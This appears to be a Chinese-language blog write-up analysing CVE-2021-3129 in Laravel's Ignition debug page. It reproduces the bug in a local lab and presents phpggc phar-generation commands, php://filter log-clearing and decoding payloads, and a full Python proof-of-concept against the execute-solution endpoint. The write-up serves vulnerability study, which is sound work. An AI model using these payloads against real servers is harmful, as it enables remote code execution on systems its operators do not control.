CVE-2021-3129,利用思路非常有意思,值得记录和学习
漏洞分析 报错情况 这个漏洞是基于 Ignition <= 2.5.1,Ignition 是 Laravel 6 版本之后的默认错误页面生成器
In addition to displaying beautiful stack traces, Ignition comes with solutions , small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a template:
抓到 Make variable optional 的包
流程分析 上图可以看到请求的相关信息,可以根据路由定位一下相关代码 vendor/facade/ignition/src/IgnitionServiceProvider.php
\Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
Route::post('execute-solution' , ExecuteSolutionController::class) ->middleware(IgnitionConfigValueEnabled::class.':enableRunnableSolutions' ) ->name('executeSolution' );
这里会触发 ExecuteSolutionController 的 invoke
\Facade\Ignition\Http\Controllers\ExecuteSolutionController
会调用获取 solution 对象的 run 方法
public function __invoke ( ExecuteSolutionRequest $request, SolutionProviderRepository $solutionProviderRepository ) { $solution = $request->getRunnableSolution(); $solution->run($request->get('parameters' , [])); return response('' ); }
后续还有更深的调用栈,这里就不展开分析
ExecuteSolutionController->__invoke() ->ExecuteSolutionRequest->getRunnableSolution()->getSolution() ->MakeViewVariableOptionalSolution->run()
最后漏洞的触发点在 file_get_contents
public function run (array $parameters = []) { $output = $this ->makeOptional($parameters); if ($output !== false ) { file_put_contents($parameters['viewFile' ], $output); } } public function makeOptional (array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile' ]); $newContents = str_replace('$' .$parameters['variableName' ], '$' .$parameters['variableName' ]." ?? ''" , $originalContents); $originalTokens = token_get_all(Blade::compileString($originalContents)); $newTokens = token_get_all(Blade::compileString($newContents)); $expectedTokens = $this ->generateExpectedTokens($originalTokens, $parameters['variableName' ]); if ($expectedTokens !== $newTokens) { return false ; } return $newContents; }
The only input variable left is viewFile
. If we make abstraction of variableName
and all of its uses, we end up with the following code snippet:
$contents = file_get_contents($parameters['viewFile' ]); file_put_contents($parameters['viewFile' ], $contents);
漏洞复现 目前看到大概两个漏洞利用的方式
Phar 反序列化
Talking to PHP-FPM using FTP
Phar 反序列化 两种思路:
phar 文件直接触发(需要上传点)
log文件转换为 phar 文件(不需要上传点)
两种思路都是打的 laravel 的依赖的反序列化链
直接触发 如果能直接上传一个 phar文件的话可以直接触发
./phpggc monolog/rce1 system whoami --phar phar -o ./monolog1.gif
转换触发
默认情况下,包含每个PHP错误和堆栈跟踪的Laravel日志文件存储在中storage/log/laravel.log
漏洞利用的核心思路是将 log 文件转换成 phar 文件,从而触发 phar 反序列化
清空 log 文件
viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log
核心思路是:php://filter
中的convert.base64-decode
过滤器的特性为转换base64时会将不是base64的字符清空
PS: 需要连续的两次返回为 200 的 status 才能完全清空 log
给log添加一条前缀
写入 phar 数据进 log 文件
php -d'phar.readonly=0' ./phpggc monolog/rce1 system whoami --phar phar -o php://output | base64 -w0
再用 python 进行转换
import base64s = [PAYLOAD] '' .join(["=" + hex(ord(i))[2 :] + "=00" for i in s]).upper()
将编码后的字符直接写进文件
触发 Phar 反序列化 先将文件内容解码成只有 Phar 的文件
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
最后用伪协议触发 Phar 反序列化
viewFile: phar:///Applications/MAMP/htdocs/laravel/storage/logs/laravel.log/test.txt
大坑 MAMP 神仙环境,最后将文件内容解码的时候无法解压成 phar 格式内容
最后一步过滤文件内容的时候在环境上打过去一直 500
重写了一个代码复现的
<?php $contents = file_get_contents("php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log" ); file_put_contents("php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log" , $contents); ?>
final POC
https://github.com/P2hm1n/vulnExploit/blob/main/laravel_debugmode_rce.py
import requestsurl = "http://laravel:80/index.php/_ignition/execute-solution" headers = { "Accept" : "application/json" , "Content-Type" : "application/json" } vul_json = { "solution" : "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" : { "variableName" : "username" , "viewFile" : "" }} def clearLog () : global url, headers, vul_json vul_json["parameters" ]["viewFile" ] = "php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log" while True : res1 = requests.post(url, headers=headers, json=vul_json, verify=False ) if res1 and res1.status_code == 200 : res2 = requests.post(url, headers=headers, json=vul_json, verify=False ) if res2 and res2.status_code == 200 : print("clear" ) break def getphar () : global url, headers, vul_json clearLog() vul_json["parameters" ]["viewFile" ] = "AA" res1 = requests.post(url, headers=headers, json=vul_json, verify=False ) if 'file_get_contents(AA)' in res1.text: vul_json["parameters" ]["viewFile" ] = "=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00" res2 = requests.post(url, headers=headers, json=vul_json, verify=False ) if 'file_get_contents(' in res2.text: vul_json["parameters" ]["viewFile" ] = "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" res3 = requests.post(url, headers=headers, json=vul_json, verify=False ) if res3 and res3.status_code == 200 : print("phar write" ) if __name__ == "__main__" : getphar()
后来跟 @lihuaiqiu 和 @decade 交流 MAMP 环境失败的原因,发现是 MAMP 没有相关的扩展
Talking to PHP-FPM using FTP 思路很不错,可以看这两篇文章
本地复现的时候弹不了shell回来
REF
https://zhuanlan.zhihu.com/p/344568679
https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g